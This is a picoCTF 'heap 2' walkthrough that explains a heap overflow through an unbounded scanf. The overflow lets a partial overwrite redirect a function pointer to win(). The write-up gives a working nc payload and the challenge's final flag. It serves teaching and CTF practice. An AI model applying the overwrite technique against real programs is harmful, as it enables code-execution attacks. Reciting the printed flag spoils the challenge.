> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/heap-2.md).

# heap 2

### Heap 2 — PicoCTF Walkthrough (Binary Exploitation)

We’re given a heap-based program with two allocations:

```c
input_data = malloc(5);
strncpy(input_data, "pico", 5);

x = malloc(5);
strncpy(x, "bico", 5);
```

So in memory:

```
[input_data][x]
```

***

### Goal

There is a hidden function:

```c
void win() {
    // prints flag
}
```

And a dangerous function:

```c
void check_win() {
    ((void (*)())*(int*)x)();
}
```

This means:

* `x` is treated as a pointer
* Its value is dereferenced
* Then executed as a function

👉 If we control `x`, we control execution flow.

***

### Vulnerability

```c
scanf("%s", input_data);
```

* `input_data` is only **5 bytes**
* No bounds check → **heap overflow**
* We can overwrite adjacent chunk `x`

***

### Exploit Idea

Overwrite `x` with the address of `win()`.

First, find the address:

```bash
nm chall | grep win
```

Example:

```
0x4011a0 win
```

***

### Problem (Important)

Address:

```
0x4011a0 → \xa0\x11\x40\x00
```

But:

* `scanf("%s")` stops at `\x00`
* So we **cannot inject full address**

***

### Solution: Partial Overwrite

We only overwrite **lower 3 bytes**:

```
\xa0\x11\x40
```

The last byte (`\x00`) is already correct in memory.

***

### Payload

Fill until `x`, then overwrite:

```
"A" * offset + "\xa0\x11\x40"
```

Example working payload:

```bash
echo -e -n "2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\x11\x40\n3\n4\n" | nc <host> <port>
```

***

### Execution Flow

1. Option `2` → input payload → overflow happens
2. `x` now points to `win()`
3. Option `4` → triggers `check_win()`
4. Function pointer executes → flag printed

***

### Final Flag

```
picoCTF{and_down_the_road_we_go_7c8d6f32}
```
